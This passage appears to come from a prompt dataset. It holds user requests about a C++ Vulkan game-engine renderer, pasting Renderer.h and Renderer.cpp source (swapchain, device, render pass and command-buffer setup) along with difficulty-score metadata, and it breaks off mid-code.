vkGetPhysicalDeviceSurfaceCapabilitiesKHR(device, surface, &details.capabilities); // Query the supported formats uint32_t formatCount; vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, nullptr); if (formatCount != 0) { details.formats.resize(formatCount); vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, details.formats.data()); } // Query the supported present modes uint32_t presentModeCount; vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, nullptr); if (presentModeCount != 0) { details.presentModes.resize(presentModeCount); vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, details.presentModes.data()); } return details; } VkSurfaceFormatKHR Renderer::chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats) { for (const auto& availableFormat : availableFormats) { if (availableFormat.format == VK_FORMAT_B8G8R8A8_SRGB && availableFormat.colorSpace == VK_COLOR_SPACE_SRGB_NONLINEAR_KHR) { return availableFormat; } } return availableFormats[0]; } VkPresentModeKHR Renderer::chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes) { for (const auto& availablePresentMode : availablePresentModes) { if (availablePresentMode == VK_PRESENT_MODE_MAILBOX_KHR) { return availablePresentMode; } } return VK_PRESENT_MODE_FIFO_KHR; } VkExtent2D Renderer::chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window) { if (capabilities.currentExtent.width != UINT32_MAX) { return capabilities.currentExtent; } else { int width, height; glfwGetFramebufferSize(window, &width, &height); VkExtent2D actualExtent = { static_cast<uint32_t>(width), static_cast<uint32_t>(height) }; actualExtent.width = std::max(capabilities.minImageExtent.width, std::min(capabilities.maxImageExtent.width, actualExtent.width)); actualExtent.height = std::max(capabilities.minImageExtent.height, std::min(capabilities.maxImageExtent.height, actualExtent.height)); return actualExtent; } } std::vector<const char*> Renderer::CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice) { uint32_t extensionCount; vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, nullptr); std::vector<VkExtensionProperties> availableExtensions(extensionCount); vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, availableExtensions.data()); std::set<std::string> requiredExtensions(deviceExtensions.begin(), deviceExtensions.end()); for (const auto& extension : availableExtensions) { requiredExtensions.erase(extension.extensionName); } std::vector<const char*> remainingExtensions; for (const auto& extension : requiredExtensions) { remainingExtensions.push_back(extension.c_str()); } return remainingExtensions; } QueueFamilyIndices Renderer::GetQueueFamilyIndices(VkPhysicalDevice physicalDevice) { QueueFamilyIndices indices; uint32_t queueFamilyCount = 0; vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, nullptr); std::vector<VkQueueFamilyProperties> queueFamilies(queueFamilyCount); vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, queueFamilies.data()); int i = 0; for (const auto& queueFamily : queueFamilies) { if (queueFamily.queueFlags & VK_QUEUE_GRAPHICS_BIT) { indices.graphicsFamily = i; } VkBool32 presentSupport = false; vkGetPhysicalDeviceSurfaceSupportKHR(physicalDevice, i, surface, &presentSupport); if (presentSupport) { indices.presentFamily = i; } if (indices.IsComplete()) { break; } i++; } return indices; } VkDevice* Renderer::GetDevice() { return &device; }; VkPhysicalDevice* Renderer::GetPhysicalDevice() { return &physicalDevice; }; VkCommandPool* Renderer::GetCommandPool() { return &commandPool; }; VkQueue* Renderer::GetGraphicsQueue() { return &graphicsQueue; }; VkCommandBuffer* Renderer::GetCurrentCommandBuffer() { return &currentCommandBuffer; } VkDescriptorSetLayout Renderer::CreateDescriptorSetLayout() { VkDescriptorSetLayoutBinding uboLayoutBinding{}; uboLayoutBinding.binding = 0; uboLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; uboLayoutBinding.descriptorCount = 1; uboLayoutBinding.stageFlags = VK_SHADER_STAGE_VERTEX_BIT; uboLayoutBinding.pImmutableSamplers = nullptr; // Add sampler layout binding VkDescriptorSetLayoutBinding samplerLayoutBinding{}; samplerLayoutBinding.binding = 1; samplerLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerLayoutBinding.descriptorCount = 1; samplerLayoutBinding.stageFlags = VK_SHADER_STAGE_FRAGMENT_BIT; samplerLayoutBinding.pImmutableSamplers = nullptr; std::array<VkDescriptorSetLayoutBinding, 2> bindings = { uboLayoutBinding, samplerLayoutBinding }; VkDescriptorSetLayoutCreateInfo layoutInfo{}; layoutInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_LAYOUT_CREATE_INFO; layoutInfo.bindingCount = static_cast<uint32_t>(bindings.size()); layoutInfo.pBindings = bindings.data(); VkDescriptorSetLayout descriptorSetLayout; if (vkCreateDescriptorSetLayout(device, &layoutInfo, nullptr, &descriptorSetLayout) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor set layout!"); } return descriptorSetLayout; } VkDescriptorPool Renderer::CreateDescriptorPool(uint32_t maxSets) { VkDescriptorPoolSize poolSize{}; poolSize.type = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; poolSize.descriptorCount = maxSets; // Add an additional descriptor pool size for COMBINED_IMAGE_SAMPLER VkDescriptorPoolSize samplerPoolSize{}; samplerPoolSize.type = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerPoolSize.descriptorCount = maxSets; std::array<VkDescriptorPoolSize, 2> poolSizes = { poolSize, samplerPoolSize }; VkDescriptorPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_POOL_CREATE_INFO; poolInfo.poolSizeCount = static_cast<uint32_t>(poolSizes.size()); poolInfo.pPoolSizes = poolSizes.data(); poolInfo.maxSets = maxSets; VkDescriptorPool descriptorPool; if (vkCreateDescriptorPool(device, &poolInfo, nullptr, &descriptorPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor pool!"); } return descriptorPool; } void Renderer::CreateGraphicsPipeline(Mesh* mesh, Material* material) { vkDeviceWaitIdle(device); if (pipeline) { pipeline->Cleanup(); } // Create pipeline object and configure its properties pipeline = std::make_shared<Pipeline>(); pipeline->CreateGraphicsPipeline(mesh->GetVertexInputBindingDescriptions(), mesh->GetVertexInputAttributeDescriptions(), swapChainExtent, {material->GetvertexShader().get(), material->GetfragmentShader().get()}, renderPass, material->GetPipelineLayout(), device); } std::shared_ptr<Pipeline> Renderer::GetPipeline() { return pipeline; } std::pair<VkBuffer, VkDeviceMemory> Renderer::RequestMvpBuffer() { uint32_t mvpBufferIndex = currentMvpBufferIndex; VkBuffer mvpBuffer = mvpBuffers[mvpBufferIndex]; VkDeviceMemory& requestedMvpBufferMemory = mvpBufferMemory[mvpBufferIndex]; // Changed the variable name currentMvpBufferIndex = (currentMvpBufferIndex + 1) % kMvpBufferCount; return std::make_pair(mvpBuffer, requestedMvpBufferMemory); } Can you convert the above code to make best use of Vulkan.hpp and properly implement RAII?
ab1a47c2878bc1ff57c340dceb9f4f43
{ "intermediate": 0.3268023133277893, "beginner": 0.3990335762500763, "expert": 0.274164080619812 }
11,811
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. Here is a portion of the code: Renderer.h: #pragma once #include <vulkan/vulkan.h> #include "Window.h" #include <vector> #include <stdexcept> #include <set> #include <optional> #include <iostream> #include "Pipeline.h" #include "Material.h" #include "Mesh.h" struct QueueFamilyIndices { std::optional<uint32_t> graphicsFamily; std::optional<uint32_t> presentFamily; bool IsComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { VkSurfaceCapabilitiesKHR capabilities; std::vector<VkSurfaceFormatKHR> formats; std::vector<VkPresentModeKHR> presentModes; }; struct MVP { glm::mat4 model; glm::mat4 view; glm::mat4 projection; }; class Renderer { public: Renderer(); ~Renderer(); void Initialize(GLFWwindow* window); void Shutdown(); void BeginFrame(); void EndFrame(); VkDescriptorSetLayout CreateDescriptorSetLayout(); VkDescriptorPool CreateDescriptorPool(uint32_t maxSets); VkDevice* GetDevice(); VkPhysicalDevice* GetPhysicalDevice(); VkCommandPool* GetCommandPool(); VkQueue* GetGraphicsQueue(); VkCommandBuffer* GetCurrentCommandBuffer(); std::shared_ptr<Pipeline> GetPipeline(); void CreateGraphicsPipeline(Mesh* mesh, Material* material); std::pair<VkBuffer, VkDeviceMemory> RequestMvpBuffer(); private: bool isShutDown = false; static const uint32_t kMvpBufferCount = 3; std::vector<VkBuffer> mvpBuffers; std::vector<VkDeviceMemory> mvpBufferMemory; uint32_t currentMvpBufferIndex = 0; bool shutdownInProgress; uint32_t currentCmdBufferIndex = 0; std::vector<size_t> currentFramePerImage; std::vector<VkImage> swapChainImages; std::vector<VkImageView> swapChainImageViews; VkExtent2D swapChainExtent; VkRenderPass renderPass; uint32_t imageIndex; std::shared_ptr<Pipeline> pipeline; VkFormat swapChainImageFormat; std::vector<VkCommandBuffer> commandBuffers; void CreateImageViews(); void CleanupImageViews(); void CreateRenderPass(); void CleanupRenderPass(); void CreateSurface(); void DestroySurface(); void CreateInstance(); void CleanupInstance(); void ChoosePhysicalDevice(); void CreateDevice(); void CleanupDevice(); void CreateSwapchain(); void CleanupSwapchain(); void CreateCommandPool(); void CleanupCommandPool(); void CreateFramebuffers(); void CleanupFramebuffers(); void CreateCommandBuffers(); void CleanupCommandBuffers(); void Present(); GLFWwindow* window; VkInstance instance = VK_NULL_HANDLE; VkPhysicalDevice physicalDevice = VK_NULL_HANDLE; VkDevice device = VK_NULL_HANDLE; VkSurfaceKHR surface; VkSwapchainKHR swapchain; VkCommandPool commandPool; VkCommandBuffer currentCommandBuffer; std::vector<VkFramebuffer> framebuffers; // Additional Vulkan objects needed for rendering… const uint32_t kMaxFramesInFlight = 2; std::vector<VkSemaphore> imageAvailableSemaphores; std::vector<VkSemaphore> renderFinishedSemaphores; std::vector<VkFence> inFlightFences; size_t currentFrame; VkQueue graphicsQueue; VkQueue presentQueue; void CreateSyncObjects(); void CleanupSyncObjects(); SwapChainSupportDetails querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface); VkSurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats); VkPresentModeKHR chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes); VkExtent2D chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window); std::vector<const char*> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; std::vector<const char*> CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice); QueueFamilyIndices GetQueueFamilyIndices(VkPhysicalDevice physicalDevice); }; Renderer.cpp: #include "Renderer.h" Renderer::Renderer() : currentFrame(0), shutdownInProgress(false) { } Renderer::~Renderer() { Shutdown(); } void Renderer::Initialize(GLFWwindow* window) { this->window = window; CreateInstance(); CreateSurface(); ChoosePhysicalDevice(); CreateDevice(); // Create the MVP buffers mvpBuffers.resize(kMvpBufferCount); mvpBufferMemory.resize(kMvpBufferCount); for (uint32_t i = 0; i < kMvpBufferCount; ++i) { BufferUtils::CreateBuffer(device, *GetPhysicalDevice(), sizeof(MVP), VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, mvpBuffers[i], mvpBufferMemory[i]); } CreateSwapchain(); CreateRenderPass(); CreateCommandPool(); CreateFramebuffers(); CreateSyncObjects(); } void Renderer::Shutdown() { if (isShutDown) { return; } if (shutdownInProgress) { return; } shutdownInProgress = true; if (device != VK_NULL_HANDLE) { vkDeviceWaitIdle(device); } CleanupFramebuffers(); CleanupRenderPass(); CleanupSyncObjects(); CleanupCommandPool(); CleanupImageViews(); CleanupSwapchain(); // Destroy the MVP buffers for (uint32_t i = 0; i < kMvpBufferCount; ++i) { vkDestroyBuffer(device, mvpBuffers[i], nullptr); vkFreeMemory(device, mvpBufferMemory[i], nullptr); } if (device != VK_NULL_HANDLE) { CleanupDevice(); } DestroySurface(); CleanupInstance(); shutdownInProgress = false; isShutDown = true; } void Renderer::BeginFrame() { // Wait for any previous work on this swapchain image to complete vkWaitForFences(device, 1, &inFlightFences[currentFrame], VK_TRUE, UINT64_MAX); vkResetFences(device, 1, &inFlightFences[currentFrame]); // Acquire an image from the swapchain, then begin recording commands for the current frame. VkResult acquireResult = vkAcquireNextImageKHR(device, swapchain, UINT64_MAX, imageAvailableSemaphores[currentFrame], VK_NULL_HANDLE, &imageIndex); if (acquireResult != VK_SUCCESS && acquireResult != VK_SUBOPTIMAL_KHR) { throw std::runtime_error("Failed to acquire next swapchain image."); } VkCommandBufferBeginInfo beginInfo{}; beginInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; //currentCommandBuffer = commandBuffers[currentFrame]; currentCmdBufferIndex = (currentCmdBufferIndex + 1) % 2; currentCommandBuffer = commandBuffers[currentFrame * 2 + currentCmdBufferIndex]; // Add debug message before vkBeginCommandBuffer //std::cout << "Current Frame: " << currentFrame << " | Cmd Buffer Index: " << currentCmdBufferIndex << " | Image Index: " << imageIndex << "\n"; //std::cout << "Calling vkBeginCommandBuffer…\n"; vkBeginCommandBuffer(currentCommandBuffer, &beginInfo); //std::cout << "vkBeginCommandBuffer called…\n"; VkRenderPassBeginInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO; renderPassInfo.renderPass = renderPass; renderPassInfo.framebuffer = framebuffers[imageIndex]; renderPassInfo.renderArea.offset = { 0, 0 }; renderPassInfo.renderArea.extent = swapChainExtent; // Set the clear color to black VkClearValue clearColor = { 0.0f, 0.0f, 0.0f, 1.0f }; renderPassInfo.clearValueCount = 1; renderPassInfo.pClearValues = &clearColor; vkCmdBeginRenderPass(currentCommandBuffer, &renderPassInfo, VK_SUBPASS_CONTENTS_INLINE); } void Renderer::EndFrame() { vkCmdEndRenderPass(currentCommandBuffer); VkSubmitInfo submitInfo{}; submitInfo.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; VkPipelineStageFlags waitStages[] = { VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT }; submitInfo.waitSemaphoreCount = 1; submitInfo.pWaitSemaphores = &imageAvailableSemaphores[currentFrame]; submitInfo.pWaitDstStageMask = waitStages; submitInfo.commandBufferCount = 1; submitInfo.pCommandBuffers = &currentCommandBuffer; submitInfo.signalSemaphoreCount = 1; submitInfo.pSignalSemaphores = &renderFinishedSemaphores[currentFrame]; vkEndCommandBuffer(currentCommandBuffer); vkQueueSubmit(graphicsQueue, 1, &submitInfo, inFlightFences[currentFrame]); VkPresentInfoKHR presentInfo{}; presentInfo.sType = VK_STRUCTURE_TYPE_PRESENT_INFO_KHR; presentInfo.waitSemaphoreCount = 1; presentInfo.pWaitSemaphores = &renderFinishedSemaphores[currentFrame]; VkSwapchainKHR swapChains[] = { swapchain }; presentInfo.swapchainCount = 1; presentInfo.pSwapchains = swapChains; presentInfo.pImageIndices = &imageIndex; VkResult queuePresentResult = vkQueuePresentKHR(presentQueue, &presentInfo); //std::cout << "Frame rendered: " << currentFrame << "\n"; if (queuePresentResult == VK_ERROR_OUT_OF_DATE_KHR || queuePresentResult == VK_SUBOPTIMAL_KHR) { // Handle swapchain recreation if needed, e.g., due to resizing the window or other swapchain properties changes } else if (queuePresentResult != VK_SUCCESS) { throw std::runtime_error("Failed to present the swapchain image."); } currentFrame = (currentFrame + 1) % kMaxFramesInFlight; } void Renderer::CreateSurface() { if (glfwCreateWindowSurface(instance, window, nullptr, &surface) != VK_SUCCESS) { throw std::runtime_error("Failed to create a window surface."); } } void Renderer::DestroySurface() { vkDestroySurfaceKHR(instance, surface, nullptr); } void Renderer::CreateInstance() { // Set up the application info VkApplicationInfo appInfo{}; appInfo.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO; appInfo.pApplicationName = "Game Engine"; appInfo.applicationVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.pEngineName = "Game Engine"; appInfo.engineVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.apiVersion = VK_API_VERSION_1_2; // Set up the instance create info VkInstanceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO; createInfo.pApplicationInfo = &appInfo; // Set up the required extensions uint32_t glfwExtensionCount = 0; const char** glfwExtensions; glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtensionCount); createInfo.enabledExtensionCount = glfwExtensionCount; createInfo.ppEnabledExtensionNames = glfwExtensions; createInfo.enabledLayerCount = 0; std::vector<const char*> validationLayers; #ifdef NDEBUG const bool enableValidationLayers = false; #else const bool enableValidationLayers = true; validationLayers.push_back("VK_LAYER_KHRONOS_validation"); #endif if (enableValidationLayers) { // Check if validation layers are supported uint32_t layerCount; vkEnumerateInstanceLayerProperties(&layerCount, nullptr); std::vector<VkLayerProperties> availableLayers(layerCount); vkEnumerateInstanceLayerProperties(&layerCount, availableLayers.data()); for (const char* layerName : validationLayers) { bool layerFound = false; for (const auto& layerProperties : availableLayers) { if (strcmp(layerName, layerProperties.layerName) == 0) { layerFound = true; break; } } if (!layerFound) { throw std::runtime_error("Validation layer requested, but it’s not available."); } } // Enable the validation layers createInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size()); createInfo.ppEnabledLayerNames = validationLayers.data(); } else { createInfo.enabledLayerCount = 0; } // Create the Vulkan instance if (vkCreateInstance(&createInfo, nullptr, &instance) != VK_SUCCESS) { throw std::runtime_error("Failed to create the Vulkan instance."); } } void Renderer::CleanupInstance() { // Destroy the Vulkan instance vkDestroyInstance(instance, nullptr); } void Renderer::ChoosePhysicalDevice() { // Enumerate the available physical devices and choose one that supports required features uint32_t deviceCount = 0; vkEnumeratePhysicalDevices(instance, &deviceCount, nullptr); if (deviceCount == 0) { throw std::runtime_error("Failed to find a GPU with Vulkan support."); } std::vector<VkPhysicalDevice> allDevices(deviceCount); vkEnumeratePhysicalDevices(instance, &deviceCount, allDevices.data()); for (const auto& testDevice : allDevices) { if (glfwGetPhysicalDevicePresentationSupport(instance, testDevice, 0) && CheckPhysicalDeviceExtensionSupport(testDevice).empty() && GetQueueFamilyIndices(testDevice).IsComplete()) { VkPhysicalDeviceFeatures supportedFeatures; vkGetPhysicalDeviceFeatures(testDevice, &supportedFeatures); // Check for anisotropic filtering support if (supportedFeatures.samplerAnisotropy) { physicalDevice = testDevice; break; } } } if (physicalDevice == VK_NULL_HANDLE) { throw std::runtime_error("Failed to find a suitable GPU."); } } void Renderer::CreateDevice() { // Get the GPU’s queue family indices const QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); // Set up the device queue create info std::vector<VkDeviceQueueCreateInfo> queueCreateInfos; std::set<uint32_t> uniqueQueueFamilyIndices = { indices.graphicsFamily.value(),indices.presentFamily.value() }; float queuePriority = 1.0f; for (uint32_t queueFamilyIndex : uniqueQueueFamilyIndices) { VkDeviceQueueCreateInfo queueCreateInfo{}; queueCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO; queueCreateInfo.queueFamilyIndex = queueFamilyIndex; queueCreateInfo.queueCount = 1; queueCreateInfo.pQueuePriorities = &queuePriority; queueCreateInfos.push_back(queueCreateInfo); } // Set up the physical device features VkPhysicalDeviceFeatures deviceFeatures{}; deviceFeatures.samplerAnisotropy = VK_TRUE; // Enable anisotropic filtering // Set up the device create info VkDeviceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_DEVICE_CREATE_INFO; createInfo.queueCreateInfoCount = static_cast<uint32_t>(queueCreateInfos.size()); createInfo.pQueueCreateInfos = queueCreateInfos.data(); createInfo.pEnabledFeatures = &deviceFeatures; createInfo.enabledExtensionCount = static_cast<uint32_t>(deviceExtensions.size()); createInfo.ppEnabledExtensionNames = deviceExtensions.data(); // Create the logical device if (vkCreateDevice(physicalDevice, &createInfo, nullptr, &device) != VK_SUCCESS) { throw std::runtime_error("Failed to create a logical device."); } // Retrieve the graphics queue and the present queue vkGetDeviceQueue(device, indices.graphicsFamily.value(), 0, &graphicsQueue); vkGetDeviceQueue(device, indices.presentFamily.value(), 0, &presentQueue); } void Renderer::CleanupDevice() { // Reset the pipeline first to ensure it’s destroyed before the device pipeline.reset(); // Destroy the logical device vkDestroyDevice(device, nullptr); } void Renderer::CreateSwapchain() { // Get swapchain support details SwapChainSupportDetails swapChainSupport = querySwapChainSupport(physicalDevice,surface); VkSurfaceFormatKHR surfaceFormat = chooseSwapSurfaceFormat(swapChainSupport.formats); swapChainImageFormat = surfaceFormat.format; // Initialize the swapChainImageFormat VkPresentModeKHR presentMode = chooseSwapPresentMode(swapChainSupport.presentModes); VkExtent2D extent = chooseSwapExtent(swapChainSupport.capabilities,window); // Update the swapChainExtent with the chosen extent swapChainExtent = extent; uint32_t imageCount = swapChainSupport.capabilities.minImageCount + 1; if (swapChainSupport.capabilities.maxImageCount > 0 && imageCount > swapChainSupport.capabilities.maxImageCount) { imageCount = swapChainSupport.capabilities.maxImageCount; } // Create the swapchain // … VkSwapchainCreateInfoKHR createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR; createInfo.surface = surface; createInfo.minImageCount = imageCount; createInfo.imageFormat = surfaceFormat.format; createInfo.imageColorSpace = surfaceFormat.colorSpace; createInfo.imageExtent = extent; createInfo.imageArrayLayers = 1; createInfo.imageUsage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT; QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); uint32_t queueFamilyIndices[] = { indices.graphicsFamily.value(), indices.presentFamily.value() }; if (indices.graphicsFamily != indices.presentFamily) { createInfo.imageSharingMode = VK_SHARING_MODE_CONCURRENT; createInfo.queueFamilyIndexCount = 2; createInfo.pQueueFamilyIndices = queueFamilyIndices; } else { createInfo.imageSharingMode = VK_SHARING_MODE_EXCLUSIVE; } createInfo.preTransform = swapChainSupport.capabilities.currentTransform; createInfo.compositeAlpha = VK_COMPOSITE_ALPHA_OPAQUE_BIT_KHR; createInfo.presentMode = presentMode; createInfo.clipped = VK_TRUE; if (vkCreateSwapchainKHR(device, &createInfo, nullptr, &swapchain) != VK_SUCCESS) { throw std::runtime_error("failed to create swap chain!"); } // Retrieve swapchain images (color buffers) // … // Retrieve swapchain images vkGetSwapchainImagesKHR(device, swapchain, &imageCount, nullptr); swapChainImages.resize(imageCount); vkGetSwapchainImagesKHR(device, swapchain, &imageCount, swapChainImages.data()); // Create image views for swapchain images CreateImageViews(); } void Renderer::CleanupSwapchain() { // Clean up Vulkan swapchain if (swapchain != VK_NULL_HANDLE) { vkDestroySwapchainKHR(device, swapchain, nullptr); swapchain = VK_NULL_HANDLE; } } void Renderer::CreateImageViews() { swapChainImageViews.resize(swapChainImages.size()); for (size_t i = 0; i < swapChainImages.size(); ++i) { VkImageViewCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO; createInfo.image = swapChainImages[i]; createInfo.viewType = VK_IMAGE_VIEW_TYPE_2D; createInfo.format = swapChainImageFormat; createInfo.components.r = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.g = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.b = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.a = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; createInfo.subresourceRange.baseMipLevel = 0; createInfo.subresourceRange.levelCount = 1; createInfo.subresourceRange.baseArrayLayer = 0; createInfo.subresourceRange.layerCount = 1; createInfo.flags = 0; if (vkCreateImageView(device, &createInfo, nullptr, &swapChainImageViews[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create an image view."); } } } void Renderer::CleanupImageViews() { for (auto imageView : swapChainImageViews) { vkDestroyImageView(device, imageView, nullptr); } swapChainImageViews.clear(); } void Renderer::CreateRenderPass() { VkAttachmentDescription colorAttachment{}; colorAttachment.format = swapChainImageFormat; colorAttachment.samples = VK_SAMPLE_COUNT_1_BIT; colorAttachment.loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR; colorAttachment.storeOp = VK_ATTACHMENT_STORE_OP_STORE; colorAttachment.stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE; colorAttachment.stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE; colorAttachment.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED; colorAttachment.finalLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR; VkAttachmentReference colorAttachmentRef{}; colorAttachmentRef.attachment = 0; colorAttachmentRef.layout = VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL; VkSubpassDescription subpass{}; subpass.pipelineBindPoint = VK_PIPELINE_BIND_POINT_GRAPHICS; subpass.colorAttachmentCount = 1; subpass.pColorAttachments = &colorAttachmentRef; VkRenderPassCreateInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_CREATE_INFO; renderPassInfo.attachmentCount = 1; renderPassInfo.pAttachments = &colorAttachment; renderPassInfo.subpassCount = 1; renderPassInfo.pSubpasses = &subpass; VkSubpassDependency dependency{}; dependency.srcSubpass = VK_SUBPASS_EXTERNAL; dependency.dstSubpass = 0; dependency.srcStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.srcAccessMask = 0; dependency.dstStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT; renderPassInfo.dependencyCount = 1; renderPassInfo.pDependencies = &dependency; if (vkCreateRenderPass(device, &renderPassInfo, nullptr, &renderPass) != VK_SUCCESS) { throw std::runtime_error("Failed to create render pass."); } } void Renderer::CleanupRenderPass() { vkDestroyRenderPass(device, renderPass, nullptr); } void Renderer::CreateCommandPool() { // Find a queue family index that supports graphics operations QueueFamilyIndices queueFamilyIndices = GetQueueFamilyIndices(physicalDevice); // Create a command pool for the queue family VkCommandPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_COMMAND_POOL_CREATE_INFO; poolInfo.queueFamilyIndex = queueFamilyIndices.graphicsFamily.value(); poolInfo.flags = VK_COMMAND_POOL_CREATE_RESET_COMMAND_BUFFER_BIT; // Set the flag here if (vkCreateCommandPool(device, &poolInfo, nullptr, &commandPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create command pool."); } CreateCommandBuffers(); // Create command buffers after creating the command pool } void Renderer::CleanupCommandPool() { // Clean up Vulkan command pool CleanupCommandBuffers(); // Add this line to clean up command buffers before destroying the command pool vkDestroyCommandPool(device, commandPool, nullptr); } void Renderer::CreateCommandBuffers() { //commandBuffers.resize(kMaxFramesInFlight); commandBuffers.resize(kMaxFramesInFlight * 2); VkCommandBufferAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_ALLOCATE_INFO; allocInfo.commandPool = commandPool; allocInfo.level = VK_COMMAND_BUFFER_LEVEL_PRIMARY; allocInfo.commandBufferCount = static_cast<uint32_t>(commandBuffers.size()); if (vkAllocateCommandBuffers(device, &allocInfo, commandBuffers.data()) != VK_SUCCESS) { throw std::runtime_error("Failed to allocate command buffers."); } // Set the initial value of the currentCommandBuffer currentCommandBuffer = commandBuffers[currentFrame]; } void Renderer::CleanupCommandBuffers() { vkFreeCommandBuffers(device, commandPool, static_cast<uint32_t>(commandBuffers.size()), commandBuffers.data()); } void Renderer::CreateFramebuffers() { // Check if the framebuffers vector is not empty, and call CleanupFramebuffers() if (!framebuffers.empty()) { CleanupFramebuffers(); } // Create Vulkan framebuffers for swapchain images framebuffers.resize(swapChainImageViews.size()); for (size_t i = 0; i < swapChainImageViews.size(); ++i) { VkImageView attachments[] = { swapChainImageViews[i] }; VkFramebufferCreateInfo framebufferInfo{}; framebufferInfo.sType = VK_STRUCTURE_TYPE_FRAMEBUFFER_CREATE_INFO; framebufferInfo.renderPass = renderPass; framebufferInfo.attachmentCount = 1; framebufferInfo.pAttachments = attachments; framebufferInfo.width = swapChainExtent.width; framebufferInfo.height = swapChainExtent.height; framebufferInfo.layers = 1; if (vkCreateFramebuffer(device, &framebufferInfo, nullptr, &framebuffers[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create framebuffer."); } } } void Renderer::CleanupFramebuffers() { for (auto framebuffer : framebuffers) { if (framebuffer != VK_NULL_HANDLE) { vkDestroyFramebuffer(device, framebuffer, nullptr); framebuffer = VK_NULL_HANDLE; } } framebuffers.clear(); // Make sure to clear the framebuffers vector after destroying each framebuffer } void Renderer::CreateSyncObjects() { imageAvailableSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); renderFinishedSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); inFlightFences.resize(kMaxFramesInFlight, VK_NULL_HANDLE); VkSemaphoreCreateInfo semaphoreInfo{}; semaphoreInfo.sType = VK_STRUCTURE_TYPE_SEMAPHORE_CREATE_INFO; VkFenceCreateInfo fenceInfo{}; fenceInfo.sType = VK_STRUCTURE_TYPE_FENCE_CREATE_INFO; fenceInfo.flags = VK_FENCE_CREATE_SIGNALED_BIT; for (size_t i 